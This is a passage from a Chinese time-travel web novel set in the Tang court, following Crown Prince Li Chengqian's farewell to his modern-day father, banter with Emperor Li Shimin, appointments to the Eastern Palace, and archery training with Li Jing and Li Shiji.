听闻李世民睡不着觉,尉迟恭进宫拜见,请求为李世民守门。 李世民十分感谢这位老伙计的忠心,带着尉迟恭一起去东宫,临近东宫,只听见一阵悠扬的乐声传来。 “太子今日在宴客?” 那小内侍道:“只知道是尉迟将军来了,没听说殿下宴客。” 尉迟恭道:“必定是臣家里那个逆子,在这里带着殿下胡闹。” 李世民笑道:“太子性子沉闷,有个活泼些的人在他身边,也能散一散他身上的暮气。” 尉迟恭道:“臣那逆子没心眼,就怕太子殿下添麻烦。” 李世民叹道:“太子不给人添麻烦就不错了,咱们就这么进去,看看这两个年轻人在玩儿些什么。” 顺着音乐到射场,只见李承乾一手琵琶弹的行云流水,高慎微与尉迟宝琳共舞。 李世民顿了一顿,看样子,姓高的也是个爱玩儿的,怎么就教出了李承乾这么个暮气沉沉的人? “这高先生平日里看着老成持重,还这么爱玩儿?” 尉迟恭顿了一顿,抬头看了眼皇帝,他的直觉皇帝和高慎微很熟,特别熟。 “舅父,我陪你跳。” 李承乾对高慎微的称呼,人前舅父,人后老爸。 “宝琳,你会什么乐器,为我伴奏。” 尉迟宝琳道:“我会羯鼓。” 李承乾道:“我这就让人去取。” 张阿难的传报声适时入耳,李世民同尉迟恭走了进去,三人齐齐上来见礼。 “朕弹琵琶给你们伴奏。” 意识清醒状态下,在皇帝面前唱跳,李承乾多少有些不好意思。 “不……不用麻烦,臣不善舞。” 自己儿子在东宫,可天家的事情,尉迟恭实在不愿多加掺和,随便找了个理由,拉着自家没心眼的儿子离开这是非之地。 眼看殿内无人,李承乾按捺不住内心的八卦基因,向父亲询问:“老爸,你怎么会跳这里的舞?” 一千多年,唐代很多歌舞老早都失传了。 “你教的啊!” “我?” 李承乾指着自己,表示不敢相信,cpu卡了片刻过后,他反应过来了。 “是另一个我教的?” 高慎微点点头,“承乾喜欢看综艺,人家跳舞我看他跃跃欲试,唐人好舞,他骨子里也是爱玩儿的一个人,我就陪着他跳了。他跳的那些又没什么高难度的动作,学起来并不难。” 李承乾陷入沉思,兴许是相隔太久,他已经忘记了曾经的自己是个什么样子了。 “我都忘得差不多了,估计也跳不起来了。” 高慎微道:“你暂时还是别跳了,伤筋动骨怎么也得休养个百日。” 李承乾点点头,心中不免有些遗憾,他其实想与父亲跳一次舞的。 “老爸你怎么不早说,早说的话,我就早早地陪您跳了。” 高慎微道:“你和承乾是前世今生,但经历到底不一样,喜好难免会变,我没见过你对舞蹈感兴趣,不知道你喜欢这些。” 李承乾心下悲戚,今日是机缘巧合,也是阴差阳错,或许再没机会同父亲一舞了。 高慎微留在这里的最后一日,承乾舍不得,他也舍不得。 可惜,即便舍不得,终究也是要分别的。 “承乾,你先出去一小会儿,为父同你父亲有话要说。” 李承乾默了默,转身离开大殿,儿行千里,所忧者唯父母而已。 皇帝担心承乾,父亲挂心高明,两位父亲有话要说。 李承乾出门之后,李世民与高慎微分了宾主落座。 “当年父亲在我和建成之间举棋不定,最后建成要杀我,元吉想我与建成两败俱伤,他坐收渔利,最后闹出了玄武门。那时的我年轻,不知事,对父亲的踌躇鄙夷至极,直到承乾和青雀斗的你死我活,我才知道父亲抉择的艰难。一直到承乾谋反,我虽有后悔,却仍然愤怒他的背叛。我知道,高明不是完整意义上得承乾,高明的到来,让我以局中人的身份,局外人的眼光,看透了承乾当年的窘境,明白了他的恐惧。承乾那孩子,我就托与慎微了,大恩大德,世民没齿难忘。” 言罢,李世民起身,对着高慎微深深一拜。 高慎微忙起身还礼,李世民是帝王,这一番话却未自称“朕”,高慎微相信,此刻李世民作为父亲的感情,是真的。 “陛下放心,不知过往,我会对承乾视如己出,可知晓过往,他就是我的孩子。” 高慎微郑重向皇帝拜了一拜,道:“伏愿陛下千秋常在,大唐长盛不衰。高明,我也托与陛下,高明的性子有些拧巴,但他是个好孩子,希望陛下善待于他,此番大恩,高柏结草衔环,以报陛下大恩。” 第222章 崔仁师 宫人匆匆来报,高慎微“病故”,意料之中本该是太子哀恸不已,却不想太子却是格外平静。 父亲离开了,李承乾有一股如释重负的感觉,心里头却又闷腾腾的。 高士廉站在灵堂前,苍老的面容上满是不舍与哀伤,以及对这个家族未来路的忧虑。 自己的几个儿子,都不是什么王佐之臣,能在东宫任职,不过是皇帝要为太子拉拢老臣。 高慎微的出现,让他看到了高家下一代希望,皇帝和太子无不礼遇,高慎微才华也是高家新一代的佼佼者,本该是维持家族荣耀的人,就这么没了。 李承乾前来高家吊念,老实说他不愿意来,父亲只是回到了原来的地方,不是过世。 可父亲借尸还魂,他同高慎微走的太近,此番如若不来,就显得太过凉薄了。 哭声是可以感染人的,李承乾听高家儿女哭,也不由自主的落泪,高家的人哭什么他不知道,可父亲以高慎微的身体,陪伴了他三个月。 长孙氏兄妹是高士廉养大的,在高士廉的记忆里,长孙氏兄妹都不是爱哭的人,可这个太子哭起来,比皇帝还难哄。 高士廉实在招架不住哭灵的太子,更怕太子在高家哭出什么不测,众所周知,太子身体不好,一番思索过后,他果断找人去请外援。 李承乾最后是被长孙无忌带走的,高士廉隔着一层还有顾忌,长孙无忌作为元舅,他的顾忌就少多了,外甥不走怎么办,直接扛上车强制送回家。 李象知道父亲心里难受,主动去显德殿安慰父亲。 李世民调整好心情,打算去去东宫劝劝便宜儿子,结果就看到儿子抱着孙子落泪的场面。 太不要脸了,李世民表示没眼看,他是哭,可抱着儿子哭,也太没下限了。 “你们父子两个,能不能要点儿脸?” 李承乾慌忙抬头,急忙将儿子从怀里扒拉开,三两下擦了眼泪,起身上前见礼。 李象不禁打趣起父亲来,“阿耶方才对儿那避之不及的样子,真是让儿好生委屈。所以阿耶,爱会转移对吗?” “油嘴滑舌!”李承乾往儿子额头敲了一下,“跟谁学的,都会打趣你阿耶了。” 李象笑道:“儿记得,高家阿翁抱儿的时候,阿耶就说,‘老爸,原来爱会转移,看到了孙儿,就不要儿子了’。方才阿耶看到阿翁,推开儿简直没有一刻犹豫。” 李承乾要抓了李象过来收拾,可李象哪里是乖乖站在那里任人宰割的,看到父亲过来拔腿就跑。 “小兔崽子,你给我站住。” 李象躲到皇祖后面,轻扯皇祖袖子,“阿翁,救命!” 李承乾不敢跟皇帝造次,只能望儿兴叹。 李世民幽幽一笑,将李象拎了出来,推到李承乾面前。 李象大脑轰的一声,皇祖也太不靠谱了。 李承乾逮着了人,双手齐上阵,去挠李象的痒痒。 李世民摇头轻笑,真是没大没小的一对父子。 父亲脚上有伤,李象动作幅度不敢太大,生怕又伤了父亲,他想往皇祖身后躲,皇祖看热闹不嫌事大。 “阿耶饶了我,我知错了阿耶……” 一不做二不休,李象一把抱住父亲的腰,说什么都不肯松手。 李承乾被闹出了一身汗,大手一挥放过可怜兮兮的李象。 “阿耶,儿先回去了。” 李世民望着李象出门的背影,不由得感慨起来,“有象儿这样的孩子,你这个做阿耶的,比朕有福气。就是太没规矩了,父亲是能随意打趣的吗?” 李象没规矩? 李承乾挑眉,张口就是:“陛下才是有福气的人,前半辈子望父成龙,后半辈子望子成龙,皆如陛下所愿,陛下有什么不满足的?” 看皇帝沉着脸过来抓人,李承乾赶忙要跑,李世民怕引起李承乾脚上的旧伤,忙道:“你别跑了,朕可不是你,无聊到跟儿子玩儿老鹰捉小鸡的游戏。” 李承乾毫不留情的吐槽回去,“咱们老李家这群儿孙,以砍杀兄弟、杀妻杀子为乐,乱伦为荣。父亲,您就是想玩儿,也得有人真心陪你玩儿啊!” 李世民:…… 有那么一瞬间的恍惚,高明跟着高柏跑了,回来的是承乾。 “你有伤在身,马上就是中秋节,朕不想打你,你说话注意些。再说了,你可以不承认你是李家子孙,因为你转世投胎了。那象儿呢?他可是正经的李家孙儿,你这话,连你儿子一起骂进去了。” 李承乾哈哈一笑,道:“父亲,我只是说老李家很难找出真心实意的孝顺儿孙,又没说李家没有真心实意的孝顺儿孙?别人得没得我不知道,反正我有就行。” 闻听此言,李世民也笑了,“只要朕这一脉子孙之下,你有了,不就等于朕有?从你的生物学遗传角度分析,是不是这个道理?” 李承乾歪着脑袋思索半晌,道:“别说,还是这个道理。” “你姓什么?” “您这不是明知故问吗?” 李世民拊掌笑道:“朕明知故问,总好过你明知故骂吧?你跟宝琳开玩笑是怎么说的?狠起来连自己都骂,朕的脸皮可没你狠。” “您想说我不要脸,直说就行了。” “呵!”李世民白了眼李承乾,“朕可没有慎微的本事,你胡搅蛮缠朕可哄不来。” 李承乾笑道:“说到哄人,贞观一朝的将相,哄威凤的本事,臣也学不来。” 李世民道:“朕哄不来你,朕在学着哄。承乾,你不能学着哄哄朕?” “学不来!”李承乾道:“在气您之前,我哄过您很多年,事实证明,臣哄不来您。” 冷不防被捅了一刀,李世民笑僵在脸上。 “说正事,崔仁师你知道吗?” 李承乾点点头,当然知道,李泰的支持者之一。 李泰被贬为郡王之后,第一批被长孙无忌清洗的就有崔仁师。 皇帝征辽东回来之后,或许是出于制衡长孙无忌的需要,又再次启用崔仁师。 “您可别说,这两次刺杀跟他有关。” “同他关系不大,但连坐之下,他肯定要受牵连。” 李承乾思索片刻,关系不大却要受牵连,明白了,博陵崔氏在山东有着举足轻重的地位,皇帝要他保住崔仁师。 第223章 尊荣 “说到连坐,那就是刺杀跟博陵崔氏有关。” 李世民道:“崔仁师的侄子,有一房美妾,来自新罗。” 李承乾表示理解,大唐权贵身份的几大象征,昆仑奴、菩萨蛮、新罗婢。 当然,这个新罗婢,不单指新罗,指的是半岛地区的女子,眼下控制半岛主要是高句丽。 “那女子,是高句丽的细作?” 李世民点点头,“青雀去扬州之后,整日与扬州文人相邀出游,宴饮作乐。扬州乃富庶之地,商贸往来繁荣,能明白吗?” 李承乾笑笑,皇帝临时组织答辩,检验学员的学习成果,熟悉配方,老套路了。 “富庶之地,大族云集,这博陵崔氏一房,在扬州应该有不少的产业。青雀虽被贬黜,父亲只是把他督军之权削了,封邑照旧,谁也不能保证越王会不会被再度召回长安。上次在长安,臣处置的崔氏,是否出自博陵?” 李世民笑道:“上次你处置的崔氏家主不能生育子嗣,你逼他打残的正是他从博陵崔氏主房过继来的。” “这也太巧了。” 李世民道:“赐姓一事,你支持朕处置卢家,已经同山东大族结怨。制考要大族做主考,就是崔卢两家发起的,你又出面做了主考,化解了山东世族的攻势。然后就是长安酒肆的流言,你逼迫崔卢等家主打残人家的儿子。还有设立市舶司、制造局,直接影响到了江东和山东世族的利益,你和人家这叫积怨已久。” 崔氏有怨,新罗那个细作一挑唆,左右有越王李泰挡前头,皇帝要处置背后兴风作浪的世家,那挡在前面的越王李泰怎么办? 推开门,面对天下人,皇帝难道可以自欺欺人的说,越王李泰什么都不知道? “崔卢在山东的地位,动起来十分麻烦,要敲打,但不能动的太狠。” 李承乾道:“父亲的意思,崔家要敲打,但崔仁师不能贬斥的太狠。” 这个事情,皇帝完全可以自己做,要他保崔仁师,无非是卖山东世族一个情面,缓和他与山东世族的矛盾。 “承乾,魏叔玉和李德謇,你打算先动哪一个?” 父子二人,有一个任职东宫,另一个就要避嫌,魏叔玉和李德謇但有一人任职,三少之中,就给崔仁师让了个位置出来。 皇帝收网的时候,崔仁师背靠东宫,处置起来,多少要考虑对太子的影响,再有以长孙无忌为首的关陇世族等人周旋,崔仁师安稳落地,也是调节山东和关陇的争斗。 关陇李姓得了天下,山东世族要有一杯羹,唐王朝的兴盛与衰亡,政治活动基本围绕这一主题。 以安史之乱为临界点,安史之乱前活跃在李唐政治中心的人物基本都是关陇世家的人,安史之乱后,李唐政治中心的山东世家就非常多了。 “叔玉,先给他太子洗马的职位,去司经局任职,管理图书经文,历练一二,也让他长长见识。” 李世民继续问道:“太子洗马还差一位,太子学士也还差一位,太子中允全部空缺,你不要整天只想着编词典,有时间考虑下东宫的职位空缺。” 李承乾道:“太子学士,直学士这些闲职,暂时委任高慎行、马恂、李景桓。太子洗马和太子中允是要职,臣想先看今年制考,从制考里面选。” “李德謇,你自始至终都没考虑他。” 李承乾笑道:“德謇,才学尚可,为人却太过老实,不知变通,臣带在身边,不予授职,调教一番再说。” “武事怎么样?” 李承乾摇头,道:“拳脚功夫勉强,谋略欠缺。” 李世民叹气,“你都说勉强,怪不得卫公不愿意搭理李德謇。” 李承乾:…… “父亲,是臣跟我爸学打太极,怎么感觉您得了精髓?” 李世民顿了一顿,他根本不会打太极拳,这种只适合一对一单挑的拳法,平常也就只能强身健体。说起拳法,李承乾给他的军体拳绘本,他更感兴趣。 “你小子,憋着什么坏呢?” 李承乾抿嘴笑道:“打太极讲究阴阳调和,看您这么会阴阳怪气的挖苦人,太像是太极拳的行家了。” “阴阳怪气是什么意思?” 李承乾思索着要如何解释给皇帝听,正在他思索间,皇帝冷不防到了身前,登时吓得他头皮发麻。 想跑已经来不及了,李世民将人控制住,笑道:“你不用解释,文化和音乐一样,是共通的。阴阳怪气,一听就不是什么好词。” 李世民稍稍用力,李承乾手腕传来一阵密密麻麻,针扎般的痛意。 “父亲,你玩儿不起。” 李世民挑眉,“你用朕听得懂的话挖苦朕,朕理你了吗?你用朕听不懂的话在这里挖苦人,拿老子当白痴玩弄。大郎,咱们好好说道说道,到底是谁玩儿不起?” “父亲,我要去向大臣们告状,您殴打太子。” 李世民笑道:“殴打太子?伤在哪里?朕又为什么要打人?污蔑朕,其罪不轻啊!” 李承乾:…… “或者,太子亲自给众大臣解释膝下什么叫阴阳怪气!” 好汉不吃眼前亏,李承乾赶忙道:“父亲,臣错了,您大人有大量,饶了臣这一次吧!” “哦?”李世民将人松开,“难得,朕的小凤识相了一次。人家都说偷鸡不成蚀把米,你这叫什么?” 李承乾疼得直冒冷汗,哪里有心思回答皇帝的话。 “朕早年养了一只鹰,生了一只小鹰,那只小鹰一斤重有十五两的反骨,三天两头去招惹老鹰,挨了打就往朕肩膀上落求庇护,还叽叽喳喳个不停,你说,跟你像不像?喜欢给自己惹麻烦,还老喜欢告状。” 距离太近,他还脚伤未愈,这个时候犟嘴,吃亏的只有他。 “父亲金口玉言,您说像那就是像。” 李世民回到主位上落座,“高慎微的身后事,你要不要给一些尊荣,毕竟是你的宠臣。” 李承乾眼睛一亮,他倒是想,但这事由不得他。 “还是算了,高先生于朝廷无功,贸然给尊荣,不合适。” 第224章 新城的婚事 富贵尊荣于君王而言,只是一句话的事情。能做到不祸及社稷,就已经很不错了,能控制住自己的喜恶,不被喜恶左右太难了。 李承乾的反应,倒是让李世民十分欣慰。 “你好好歇着,明日早朝按时参加。你是不知道无忌来甘露殿拜见,说是你在灵堂前哭的不能自已,吓得申国公赶紧拿名帖去国舅府搬救兵。这是生怕你哭出个闪失,朕找他的麻烦。” 李承乾很无语,看向皇帝道:“要不是您四处说臣体弱多病,小胳膊小腿,臣何至于成了大臣们眼里体弱多病的典型。” “少来冤枉朕,朕虽说是身强体壮背的动锅,但绝不给人背锅。你自己数数,你这一年,是不是有大半年时间在养病?” 李承乾:…… “出去打猎,第二天早朝,那群老爷子一个个精神抖擞,你一个大小伙子昏昏欲睡,只要眼睛没瞎,是个人都看得出来,你体弱多病。” 李承乾:…… 好有道理,他竟然无法反驳。 他发现了一个很好玩儿的事情,皇帝现在出口就是段子,都被带坏了。 “弱,就要承认,就要多练。” 李承乾:…… “臣现在没有之前那么弱不禁风。” 李世民不想打击李承乾,什么也没说,正要离开,听见内侍进来通报,魏叔玉到了。 “叔玉,你说你家太子殿下是不是体弱多病?” 魏叔玉愣了片刻,两尊大佛打架,他一个小鬼,还是别凑热闹了, “臣自己就是手无缚鸡之力的文弱书生,哪里好意思说哪个谁体弱多病。况且,臣不论君乃是为臣之道。请陛下恕罪,您问得问题臣不能回答。” 李世民道:“现在是朕让你回话,你若不答,那就是抗命,是不忠。” 好大一顶帽子,魏叔玉人都要傻了,下一次过来一定要提前打听一下,皇帝是不是在这里。 “陛下,臣可以保持中立吗?” 李世民笑道:“不可以!” 魏叔玉叹气,闭着眼睛道:“殿下身强体壮。” 李承乾:…… 李世民默默丢了魏叔玉一个白眼,这么昧良心的话都能说的出口,一点儿也不像魏征之子。 “你为何闭着眼睛,眼睛不舒服吗?” 魏叔玉两手一摊,笑盈盈道:“因为臣不可以睁眼说瞎话。” 李世民拊掌,魏征那老小子嘴已经够损了,没想到啊没想到,魏叔玉青出于蓝。 “叔玉啊叔玉,你也被师傅带坏了。” 魏叔玉顿了一顿,小心开口,“殿下,臣现在的老师是您。” 李承乾:…… “那你可真是个好学生。” 魏叔玉笑道:“那是自然,学生要是不好,殿下您也看不上不是?” 李承乾:…… “自信,绝对是你的一大优点。” 魏叔玉道:“自信不好吗?多想想自己的好,免得自怨自艾。” 李承乾抿了抿嘴唇,总感觉他被内涵了。 “别人说我不好,我只想着,他眼瞎看不到我的好。” 李世民道:“那万一你真的不好呢?” “不好就改,知错能改,也是我的好啊!” 李世民很是佩服,不愧是魏征教出来的崽子,想当初他手诏解除魏叔玉和新城的婚事,这小子照旧娶亲,一点儿影响都没有。 别人说他魏叔玉不好,是瞎了眼睛看不到他魏叔玉的好,有那么一瞬间的冲动,李世民想拎了魏叔玉过来,暴打一顿。 “陛下为何这样看着臣?是臣说错什么话了吗?” “觉得叔玉好看,多看几眼,不行吗?” 魏叔玉只觉得鸡皮疙瘩掉了一地,是非之地,不宜久留。 “殿下,臣的策论您先看,臣先告辞了。” “先别急着走,朕有话跟你说。” 魏叔玉:…… “陛下有什么话要跟臣说?” “你觉得朕的女儿,二十一公主可好?” 魏叔玉暗道:皇家的公主,他敢说不好吗? “陛下的儿女,皆是人中龙凤,二十一公主怎会不好?” “朕将二十一公主许配你给,你可愿意?” 魏叔玉道:“陛下,二十一公主今岁才五岁,臣十七了,臣长二十一公主足足差了十二岁,年龄上相差……” 太子十二岁有儿子,越王泰十三岁有儿子,他和二十一公主相差了一代人,魏叔玉觉得有些难以想象。 “朕看上你的人,年龄不是问题。” 魏叔玉道:“父母之命,媒妁之言。只要陛下与家父觉得尚可,臣无异议。” 李世民暗道:他从前也曾赐婚,不见魏叔玉反应这么大,好好的孩子,都给李承乾教坏了。 兴许是见惯了太子和李象的相处,魏叔玉对许婚二十一公主,多少有些抵触。 十二岁的年龄差异,在魏叔玉心里,二十一公主都可以做他女儿了,可皇帝的恩赏,他不能给脸不要脸,遂果断将球踢给父亲,若父亲也应付不了,那就认命吧! 李世民点点头,不管魏征干没干那些事情,单论魏叔玉,他是十分满意的。 “叔玉,策论放下,你先下去。” 能跑,魏叔玉走的半刻不带犹豫。 “父亲,您可把臣这学生吓坏了。” 李世民笑道:“不是朕把叔玉吓坏了,是你把叔玉带坏了。” 李承乾道:“年龄上毕竟相差了一代人,叔玉有所迟疑也很正常。” 李世民不以为然,道:“只要他对你妹妹好,年龄差一些就差一些。” 李承乾道:“小妹和长孙诠人家小夫妻琴瑟和鸣,直接嫁给长孙诠就很好。” “你不是说近亲成婚不太好吗?” “那长孙诠五服之外了,算不上近亲,不影响了。” 李世民道:“那你将来清算无忌,能放过长孙诠吗?” 李承乾道:“雉奴杀舅父,一来关陇和山东两大世族矛盾太盛,从臣被废黜之后,舅父为了给雉奴清理前进路上的障碍,大肆打击山东世族,到了雉奴一朝,山东世族和关陇世族内部矛盾非常激烈,刀用完了,正好献祭,去缓和矛盾。 二来舅父早年专权,让他心里头不痛快。连长孙诠都牵扯进去了,多多少少有些私人恩怨在里头。三来,武后参与朝政,她特殊的身份,朝中有人不服他,需要一个马前卒立威,有谁能比元舅更合适?” 李承乾沉默半晌,抿了口茶。 “臣应该没清理舅父的需求,就是清理,长孙诠一个五服之外的小角色,不至于赶尽杀绝。父亲,您当初难道没看出舅父的野心?选择这么一个边缘化的人物赐婚,一来可以安抚舅父,二来不就是觉得就算雉奴清理舅父,也不至于把长孙家满门扯进去。” 李世民不想继续这个问题,谋反夷三族也没法子把长孙诠扯进去,他哪里想得到李治把事情做的这么绝。 第225章 授官 李承乾想要给高慎微尊荣,李世民看得出来,只是确如李承乾所言,高慎微于国无功,李承乾找不到理由封赏。 贸然封赏,闲话指不定多难听。 只是,太子不好封赏,皇帝没那么多的限制。 翌日早朝,李世民下诏追封高慎微渤海郡公,银青光禄大夫。 出乎意外,朝中无人反对。 李承乾思索片刻,想明白了其中的道理。 第一,皇帝既然追封,自然有合理的解释,张嘴也是白说,所以还不如不说。 第二,渤海高氏属于山东世族,高慎微是太子宠臣,恩赏高慎微安抚的是山东世族,意在缓和山东世族同太子之间的矛盾。 解决完高慎微的身后事,李世民又下诏,高慎行为东宫崇贤馆学士,马恂、李景桓为崇贤馆直学士,魏叔玉任司经局太子洗马,崔仁师为太子少师。 儿子上岸,老父亲开心,可看完职位,又觉得心梗了,除了魏叔玉的太子洗马是要职,其他的都是可有可无的闲职。 下了早朝,李世绩和李靖往东宫拜见,李承乾将二人迎入大殿。 “二位师傅披坚执锐,可是要我去看你们练兵?” 李靖道:“这是陛下的意思,臣等练兵,要您参与练兵其中。” 李承乾笑道:“既然是陛下的意思,我自当从命。” 李靖和李世绩不约而同松了口气,众所周知,太子体弱多病,太子要是不去,真的是很难为他们。 “卫公,你的腿疾可好些了?” 李靖道:“已经好了许多,能够行动自如,多谢殿下挂心。” 李承乾唤了宫人耳语几句,出显德门,李德謇正好在门前候着。 “你怎么在这里?太子今日没空给你改策论,少在这儿碍眼。” 李承乾笑道:“卫公误会了,是我让德謇过来的。我同陛下打过招呼,卫公和英国公练兵,带着德謇。” 李世绩看了眼李德謇,明白了,东宫左右卫率只有两位,眼下只有常何与苏烈,看样子太子想把李德謇算进六率。 魏叔玉做了太子洗马,魏征从太子少师上下位。李靖这个太子少保干不长远了,李德謇任职东宫,李靖会被重新委任。 “二位师傅,我也要下场吗?” 李世绩道:“按照陛下的意思,殿下您要下场,可殿下脚伤未愈,看着就行,不用亲自下场。” 李承乾心下苦涩,这意思就是,等他脚伤痊愈,时不时也要参与训练,太难受了。 看出来李承乾的为难,李靖拍拍李承乾的胳膊,“殿下,您看您都参与练兵了,以后谁再说您小胳膊小腿,您也好有话回的啊!” 李世绩掌不住笑了,他和李靖在战场上有合作,私下里往来不多,难得看李靖哄人。 “是这个道理,师傅,我现在可以拉的开重弓了。” 李靖笑道:“这感情好,虽说殿下的箭法不是臣教的,可说出去,臣与有荣焉。殿下,你喜欢剑法吗?” “箭法?”李承乾不明所以,问道:“师傅觉得,我的箭法不准?还是觉得我用的弓太轻?” 李靖摇头道:“不是弓箭的箭,君子佩剑,殿下可我学习剑法?” 李承乾恍然大悟,原来是这个剑。 “师傅教臣吗?” 李靖道:“那得看殿下学不学?” 军神亲自教,这是多大的机缘啊! 愿意,他太愿意了! “学生要是学的不好,您可不能嫌弃。” 李靖道:“学东西,尽了心就行,臣不强求。您问问李德謇,他的文事武功,臣何时强迫过他?何时嫌弃过他?” 李德謇笑笑不语,对这个话题避而不谈,他的地位他心里有数。 “小子,你这是个什么意思?” 李德謇默默退了两步,“您心里只有山君,都没时间嫌弃儿。” 一言出,四下寂静无声。 李靖紧了紧拳头,要不是在马上,他非要踹李德謇几脚不可。 李承乾下场和稀泥,道:“陛下也教不了我,前两天还说,说看我练习武事,吵到他眼睛了。” 吵到眼睛! 不好笑太子,李靖和李世绩憋笑憋的难受,皇帝是知道怎么埋汰人的。 “陛下要是教的了我,也不至于把我丢给三位师傅。” 李世绩笑而不语,大抵天下父子之间,多多少少都有些冤孽在里头。 “父亲也不愿意教我。” 李靖道:“小时候我教过你。” 李德謇道:“您那是教我吗?三句话不到,直接动手打人。” 李靖气的牙痒痒,要不是在人前,他一定要好好收拾李德謇一顿。 “我不该动手,你要不要看你学的是个什么鬼样子?” 李德謇张了张嘴巴,对上太子投递过来的目光,又默默闭上嘴巴。 李世绩摇头叹气,好在他从来不会亲自下场教孩子,不然的话,孩子教没教会不知道,他会被活活气死是肯定的。 李靖道:“太子殿下,您亲自教导皇长孙算学,查功课的时候是怎么忍下来的?” 李承乾笑道:“象儿在算学上一点就透,我并不怎么费力。” 震耳欲聋的沉默,李靖闭上嘴巴,当他什么都没问。 到了校场,李世绩率先下马,喊了一声“得罪”,一把将李承乾抱了下来。 李承乾:…… “殿下,您脚上有伤,万一再崴了脚,臣等没法子跟陛下交代。” 李承乾道:“我就想知道,陛下到底跟你们说了些什么。” 泄密禁中语,这可不是小事,李世绩当然不敢说皇帝的原话。 “无论陛下说什么,殿下您脚上有伤是事实。殿下,您可不能伤到,就可怜可怜臣等吧!” 李承乾深吸一口气,只觉得哭笑不得,皇帝眼里,他就是一脆皮大法师。 “脚伤是意外,不是我体弱多病。” 李德謇默默插话,“殿下,您就听家父和英国公的吧!今年八个多月,前五个月编撰字典,您养病养了三个多月,后三个月您养病养了一个多月。” 李承乾:…… 人心中的成见是一座大山,任你再怎么努力也无法搬动它,申子的含金量,持续上升。 “德謇啊!你得有多无聊,数这些东西。” 第226章 李靖的爱子之心 毕竟是太子,还是自己顶头上司,没有名分的师傅,李德謇不好打击李承乾。 有的时候,沉默比解释更有用,李承乾直接跟着李靖和李世绩去看练兵,这个话题不能继续下去,伤感情。 古今战争,有没有科技含量,都免不了短兵相接,近身肉搏。 摔跤是比较直接的一种肉搏训练方式,经过五胡乱华和南北大动乱,弱者根本无法活下来,能活到隋唐的人,那都是强者里面的强者。 影视看过不少的摔跤,可资本掌控下的摔跤,同这种现场版,以生存为直接目的,几乎是玩儿命的摔跤,给人的震撼还是不一样。 李靖与李世绩相视一眼,上前一步,向众人道:“今日比赛,选出前五位,榜首与老夫和英国公同案而食,余下四位与我二人同食。” 李承乾笑而不语,军神与我同案而食,对于军人来说,这个诱惑,足以让人拿命去拼了。 李德謇看的跃跃欲试,恨不能立刻下场。 李承乾察觉到李德謇的情绪变化,表示理解,李靖就两个儿子,李德謇和李德奖,李德奖夭折之后,就养了一个李德謇。 李靖的身份地位,要给李德謇造多少兄弟造不出来?可哪怕李靖觉得李德謇不堪大用,也没想给李德謇弄一个兄弟出来。 老虎和李德謇,到底谁的地位高,李靖已经用实际行动证明了,毕竟老虎有两只,李德謇连一个兄弟都没有,在唐代享受独生子待遇,李靖这份爱子之心,可见一斑。 况且,当初他谋逆失败,李德謇因同他私交不错被牵扯流放,一向不参与朝政的李靖罕见出面,原本流放岭南,改到了吴郡。 关于李靖的另一个儿子李德奖,查不到他的生卒年,也查不到他有任何政治活动,唐代有门荫入仕的制度,李德奖作为李靖的儿子,不可能没有任何记载,除非官方删除史料,大胆猜测李德奖可能是早逝,古代夭折率非常高。 李靖沉默寡言,属于不鸣则已,一鸣惊人的那种,平日里,平日里父子相处,李靖这个资深猫奴,有时间就撸大猫,同李德謇交流有限,李德謇对父亲敬爱也敬畏,同案而食的概率的确不大。 “父亲,儿也想下去试试。” 李靖道:“你都没学过,试什么试?” 李德謇有些失落,他没学过,下场也是给父亲丢人。 “师傅,您腿疾这段时间,一直是高先生教我打拳,高先生走了之后,就没人教我打拳了。我同陛下知会一声,往后您继续教我打拳吧?” 李靖道:“陛下也是这个意思,等殿下脚伤痊愈,仍跟着臣学习打拳。” “学生申请多带一个人,免得垫底。” 李世绩看了眼李德謇,目光饶有深意。 “殿下,老臣觉得你没必要多带人。” 李承乾多少有些心梗,李靖这话就差没直说,带谁一起练垫底都是他李承乾。 “我觉得我还是带一个,有一个学的好的,有一个学的不好的,师傅您多少有些成就。” 李靖笑了笑,那就更没必要,同样都是他教的,太子学的一塌糊涂,另一个学的有模有样,他怎么跟你皇帝交代? “师傅,那就这么说定了,我带个人。” 李靖点了点头,没有再多言,军中有句粗话这么说的,一头牛是放,两头牛也是放,胖瘦听天由命。 太子要求塞人,皇帝点头同意,就算太子学的不好,他也有话说。 李德謇道:“殿下,您想带谁一起?” 李世绩笑而不语,李靖为什么喜欢老虎,太理解了,毕竟李德謇呆呆傻傻的模样,看着实在不像是李靖生的。 看完摔跤,又去看射箭,李承乾心里平衡了许多,他觉得他差,可他只是射不准,至少不脱靶。 “给我也取一把弓来,重弓。” 李靖和李世绩皆是一惊,生怕太子拉弓拉出问题,慌忙阻止。 “二位师傅放心,我能下地之后,在东宫没少练。” 李靖和李世绩一点儿都不放心,要是皇帝在这里,磕着碰着是皇帝的事儿,皇帝不在这里,磕着碰着,他们负不起责。 太子在兴头上,好言相劝劝不住,强行制止这么多人看着也不现实,最后吩咐侍从取来轻一些的弓。 李世绩道:“殿下,射箭可以,骑马不行。” 李承乾苦笑,这二位军神就差没在脖子上挂个牌子,写上:脆皮别来碰瓷几个字。 侍从取来弓箭,李承乾试着拉了拉,比他平日里用的轻多了。 李承乾射出去一箭,不出意外正中靶心。 “殿下的箭法,倒是有几分功夫,可见是下过苦心练了。” 确实是下了功夫,射箭一度成为心魔,待他百发百中之后,便也就放下了,人总会执着一些东西,得到之后也就那个样子。 李德謇也射了一箭出去,一样正中靶心。 李靖顿了一顿,似乎没想到李德謇能射中。 李承乾将这一幕尽收眼底,父不知子,子不知父,不只是帝王家的悲哀,也是大多数父母与子女的悲哀。封建时代是这般,现代社会也广泛存在。 若高家没有家底,祖父母和父亲没有受过高等教育。付家若没有足够的财力,母亲也不能随着性子选择生活方式,老舅也不可能毫无负担的带他出国,出手就是小洋楼,专门照他的喜好给他养宠物。 很多时候,通透需要强大的经济基础兜底,真正生活在底层,每日为生活奔波,陪在孩子身边都是奢望的时候,别提什么健康成长,精英教育。 李德謇一连又射出两箭,下意识去看父亲,李靖眼底明显有欣慰之色,李德謇多少有些小兴奋。 “看不出来,你也不是不学无术。” 李德謇暗暗吐槽:要是老虎能射箭,父亲肯定第一时间看出来了,还会抱着老虎处处炫耀。 “今日也不知是怎么回事,心里头闷闷的,总觉得会有什么事情发生。” 李承乾放下弓箭,脸上满是愁绪。 “太子妃临盆就在这两天,骨肉连心,殿下心里头闷也是常理。” 第227章 东宫之喜 父亲离开之后,皇帝下令李承乾参加午后朝议。 来回太极宫与东宫需要时间,李承乾脚伤没有完全痊愈,李世民索性将人留在甘露殿,免得一来一回,再出了什么意外。 